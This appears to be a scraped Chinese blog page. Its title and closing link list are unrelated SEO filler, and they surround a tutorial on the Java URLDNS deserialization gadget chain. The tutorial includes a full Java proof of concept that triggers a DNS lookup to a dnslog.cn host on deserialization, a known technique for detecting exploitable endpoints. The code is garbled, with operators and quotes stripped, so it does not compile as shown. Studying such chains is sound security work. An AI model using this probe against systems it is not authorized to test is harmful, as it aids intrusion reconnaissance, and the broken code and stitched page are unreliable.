当前位置: 首页 > news >正文

北京电子商务网站制作多配色创意metro风格企业网站织梦模板

北京电子商务网站制作,多配色创意metro风格企业网站织梦模板,北京债务优化公司,网站开场flash怎么做的一.前言 在初步学习java的序列化和反序列化之后#xff0c;这里学习java反序列化漏洞的一个利用链#xff0c;也是比较基础的一条链。 由于URLDNS不需要依赖第三方的包#xff0c;同时不限制jdk的版本#xff0c;所以通常用于检测反序列化的点。 二.代码展开分析 构造链 …一.前言 在初步学习java的序列化和反序列化之后这里学习java反序列化漏洞的一个利用链也是比较基础的一条链。 由于URLDNS不需要依赖第三方的包同时不限制jdk的版本所以通常用于检测反序列化的点。 二.代码展开分析 构造链 * Gadget Chain:* HashMap.readObject()* HashMap.putVal()* HashMap.hash()* URL.hashCode() 显示HashMap里面的readObject方法 HashMap为了保证键的唯一性将键里面的每个元素进行计算在类的最下面有个putVal方法里面调用了hash方法跟进到hash方法 如果键为空返回0否则对键进行hashCode与右移16位值异或运算。如果传入的key是url那么就会调用URL类里面的hashCode方法 如果hashCode不是-11则返回hashCode否则执行handler.hashCode 在URL中发现hashCode默认值为-1 所以会执行handler.hashCode handler是URL里面的URLStreamHandler类的一个对象 该类里面的hashCode方法是 protected int hashCode(URL u) {int h 0;// Generate the protocol part.String protocol u.getProtocol();if (protocol ! null)h protocol.hashCode();// Generate the host part.InetAddress addr getHostAddress(u);if (addr ! null) {h addr.hashCode();} else {String host u.getHost();if (host ! null)h host.toLowerCase().hashCode();}// Generate the file part.String file u.getFile();if (file ! null)h file.hashCode();// Generate the port part.if (u.getPort() -1)h getDefaultPort();elseh u.getPort();// Generate the ref part.String ref u.getRef();if (ref ! null)h ref.hashCode();return h;} 里面调用了getHostAddress跟进到这个方法 里面调用了getByname方法对域名进行解析 总的来说 readObject()-HashMap.putVal()-hash()-hashCode()(URL类)-getHostAddress()-getByName() POC,比ysoserial版本更容易理解一些 import java.io.*; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap;public class UrlDns {public static void main(String[] args) throws MalformedURLException, IllegalAccessException, NoSuchFieldException {/**** URL类--hashCode()方法--1.hashcode!-1--不执行DNS解析* --2.hashcode-1--handler.hashCode()(hander为URLStreamHandler类对* 象)--getHostAddress(u)--getByName(host)--做一次DNS解析* HashMap类--put(k,v)--putVal()--hash(k)--k.hashCode()* HashMap类* 当HashMap的key传入为Url类型的话k.hashCode()就会执行URL类的hashCode方法* hashCode对象默认为-1也就是说传入的url会默认执行一次解析为了验证是否存在反序列化存在需要在反序列化之前不执行dns解析* 因此需要通过反射将hashCode的v改为其他再执行序列化与反序列化操作*/HashMapURL, Integer hashmap new HashMap();URL url new URL(http://1zxjmx.dnslog.cn);//创建一个新的url类Class urlClass url.getClass();//反射获取url的类名称Field field urlClass.getDeclaredField(hashCode);//反射获取URL类的hashCode字段默认为-1//getDeclaredFields获取当前类的所有字段包括 protected/默认/private 修饰的字段不包括父类public 修饰的字段。field.setAccessible(true);//取消java语言访问检查field.set(url,3);//设置url的hashCode值为3hashmap.put(url,1);//HashMap类的put函数传入键url 和任意一个值field.set(url,-1);// hashCode值变成1才能触发handler.hashCodetry{//序列化FileOutputStream fileOutputStream new FileOutputStream(E:\\tao.txt);ObjectOutputStream objectOutputStream new ObjectOutputStream(fileOutputStream);objectOutputStream.writeObject(hashmap);objectOutputStream.close();fileOutputStream.close();//反序列化FileInputStream fileInputStream new FileInputStream(E:\\tao.txt);ObjectInputStream objectInputStream new ObjectInputStream(fileInputStream);objectInputStream.readObject();objectInputStream.close();fileInputStream.close();} catch (FileNotFoundException e) {throw new RuntimeException(e);} catch (IOException e) {throw new RuntimeException(e);} catch (ClassNotFoundException e) {throw new RuntimeException(e);}}}
http://www.pierceye.com/news/101231/

相关文章:

  • 鞍山网站制作人才招聘广州网站优化步骤
  • 网站使用微信支付宁国网络推广
  • 成都网站建设六六济南网站制作公司
  • c 网站开发技术链友咨询
  • 手机网站推荐怎样做网站建设
  • 下载学校网站模板下载安装住建部官网查询
  • 模板网站新增备案两次都未通过网站也打不开电子商务网站建设实训报告文章
  • 做标签网站是干嘛的帐号售卖网站建设
  • 建设市民中心网站wordpress只显示标题插件
  • 网站备案的好处鲜花网站建设论文百度文库
  • 网站建设运营策划石家庄住房和建设局网站
  • 网站制作器公司网站虚假宣传但网站不是我做的
  • 大淘客网站建设婚庆网页设计作品dw
  • 嘉兴网站关键词优化后端开发流程
  • 有网络网站打不开怎么回事培训机构推广
  • 淄博网站建设优化珍云网站可信图标
  • 大连外贸网站建设江门营销网站建设
  • 县网站建设方案怎么做付费的小说网站
  • 企业公众号以及网站建设我想做个网站
  • 网站设为主页功能怎么做怎样制作h5
  • 网站的内容与功能设计微信公众平台小程序二维码怎么生成
  • 西安网站快速优化重庆明建网络科技有限公司干啥的
  • 广州市天河区门户网站软件制作公司
  • 做网站前期创建文件夹博罗高端网站建设价格
  • 襄阳网站建设价格淄博网站推广价格
  • 网站推广的软件六安网站制作哪里有
  • 大型门户网站模板wordpress有哪些小工具
  • 有flash的网站新闻资讯app制作公司
  • 网站和平台有什么区别黄页88怎么发信息质量高
  • 阿里建站价格小户型室内装修设计公司网站